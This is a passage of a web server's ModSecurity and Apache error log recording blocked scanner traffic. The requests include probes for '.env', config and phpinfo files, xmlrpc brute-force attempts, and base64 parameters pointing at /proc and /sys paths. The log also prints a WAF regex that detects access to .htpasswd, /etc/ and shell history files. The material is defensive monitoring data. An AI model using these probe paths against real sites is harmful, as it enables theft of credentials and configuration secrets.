spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "gbepy.com"] [uri "/robots.txt"] [unique_id "ai3ywlWSojQL4F7upKBZLQAAAMc"], referer: https://gbepy.com/robots.txt [Sat Jun 13 18:16:02.198250 2026] [access_compat:error] [pid 648189:tid 648236] [remote 57.141.14.11:54881] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:02.198731 2026] [access_compat:error] [pid 648189:tid 648236] [remote 57.141.14.11:54881] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:02.346777 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:16:02.347224 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:16:02.371086 2026] [security2:error] [pid 648189:tid 648418] [client 185.177.72.9:47998] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/private/.env"] [unique_id "ai3ywlWSojQL4F7upKBZOQAAAMU"] [Sat Jun 13 18:16:02.510689 2026] [security2:error] [pid 648189:tid 648434] [client 185.177.72.9:47998] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/backup/.env"] [unique_id "ai3ywlWSojQL4F7upKBZPQAAANU"] [Sat Jun 13 18:16:02.638452 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.99:54804] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:02.638890 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.99:54804] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:02.648433 2026] [security2:error] [pid 648189:tid 648388] [client 185.177.72.9:47998] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/.env"] [unique_id "ai3ywlWSojQL4F7upKBZRwAAAKg"] [Sat Jun 13 18:16:02.739443 2026] [security2:error] [pid 646876:tid 646962] [remote 17.246.19.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ywtyTkdrNlD40tSGk5QAAYVM"] [Sat Jun 13 18:16:02.786513 2026] [security2:error] [pid 648189:tid 648486] [client 185.177.72.9:47998] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/dev/.env"] [unique_id "ai3ywlWSojQL4F7upKBZSQAAAQQ"] [Sat Jun 13 18:16:02.817457 2026] [security2:error] [pid 648189:tid 648382] [client 172.56.168.133:41979] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3ywlWSojQL4F7upKBZSgAAAKI"] [Sat Jun 13 18:16:02.817601 2026] [security2:error] [pid 648189:tid 648382] [client 172.56.168.133:41979] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3ywlWSojQL4F7upKBZSgAAAKI"] [Sat Jun 13 18:16:02.925910 2026] [security2:error] [pid 648189:tid 648393] [client 185.177.72.9:47998] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/staging/.env"] [unique_id "ai3ywlWSojQL4F7upKBZTgAAAK0"] [Sat Jun 13 18:16:02.945532 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Ny9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:16:02.948530 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Ny9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:16:03.009878 2026] [security2:error] [pid 648189:tid 648271] [remote 216.73.216.182:16754] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3yw1WSojQL4F7upKBZTwAA5DE"] [Sat Jun 13 18:16:03.064521 2026] [security2:error] [pid 648189:tid 648414] [client 185.177.72.9:47998] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/production/.env"] [unique_id "ai3yw1WSojQL4F7upKBZUQAAAME"] [Sat Jun 13 18:16:03.156032 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.61:41226] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:03.156470 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.61:41226] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:03.185066 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.36:37880] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:03.185465 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.36:37880] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:03.203759 2026] [security2:error] [pid 648189:tid 648455] [client 185.177.72.9:47998] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/laravel/.env"] [unique_id "ai3yw1WSojQL4F7upKBZVQAAAOk"] [Sat Jun 13 18:16:03.295991 2026] [access_compat:error] [pid 648189:tid 648228] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:16:03.296388 2026] [access_compat:error] [pid 648189:tid 648228] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:16:03.405019 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:16:03.405451 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:16:03.639527 2026] [security2:error] [pid 648189:tid 648472] [client 185.177.72.9:47998] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test/phpinfo.php"] [unique_id "ai3yw1WSojQL4F7upKBZZgAAAPY"] [Sat Jun 13 18:16:03.677486 2026] [access_compat:error] [pid 646876:tid 646889] [remote 57.141.14.84:22268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:03.677804 2026] [access_compat:error] [pid 646876:tid 646889] [remote 57.141.14.84:22268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:03.742686 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.88:24338] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:03.743110 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.88:24338] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:03.916640 2026] [security2:error] [pid 648189:tid 648464] [client 185.177.72.9:44204] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/backup/config.php"] [unique_id "ai3yw1WSojQL4F7upKBZcAAAAO4"] [Sat Jun 13 18:16:03.963670 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:16:03.964111 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:16:04.005537 2026] [security2:error] [pid 648189:tid 648370] [client 89.37.66.48:38348] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "405"] [hostname "www.clenbuterol4you.com"] [uri "/xmlrpc.php"] [unique_id "ai3yw1WSojQL4F7upKBZbQAAAJY"], referer: https://www.clenbuterol4you.com/xmlrpc.php [Sat Jun 13 18:16:04.140345 2026] [security2:error] [pid 648189:tid 648371] [client 210.217.96.217:6946] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yxFWSojQL4F7upKBZdwAAAJc"] [Sat Jun 13 18:16:04.140541 2026] [security2:error] [pid 648189:tid 648371] [client 210.217.96.217:6946] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yxFWSojQL4F7upKBZdwAAAJc"] [Sat Jun 13 18:16:04.166360 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.14:58102] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:04.166813 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.14:58102] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:04.194191 2026] [security2:error] [pid 648189:tid 648473] [client 185.177.72.9:44206] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/private/config.php"] [unique_id "ai3yxFWSojQL4F7upKBZewAAAPc"] [Sat Jun 13 18:16:04.466158 2026] [security2:error] [pid 648189:tid 648355] [client 185.177.72.9:44212] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3yxFWSojQL4F7upKBZfwAAAIc"] [Sat Jun 13 18:16:04.485394 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:16:04.485688 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:16:04.605319 2026] [security2:error] [pid 646876:tid 646964] [remote 57.141.14.19:48354] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yxNyTkdrNlD40tSGlKwAAA1U"], referer: https://nelsonfarmstn.com/product/16-oz-sugar-scrub/?add_to_wishlist=368&_wpnonce=8d149de2a5 [Sat Jun 13 18:16:04.622060 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.53:34442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:04.622507 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.53:34442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:04.649136 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.41:31621] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:04.649592 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.41:31621] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:04.711029 2026] [security2:error] [pid 648189:tid 648411] [client 89.37.66.48:49739] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "405"] [hostname "www.clenbuterol4you.com"] [uri "/xmlrpc.php"] [unique_id "ai3yxFWSojQL4F7upKBZgQAAAL4"], referer: https://www.clenbuterol4you.com/xmlrpc.php [Sat Jun 13 18:16:04.738551 2026] [security2:error] [pid 646876:tid 647047] [client 185.177.72.9:44222] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability 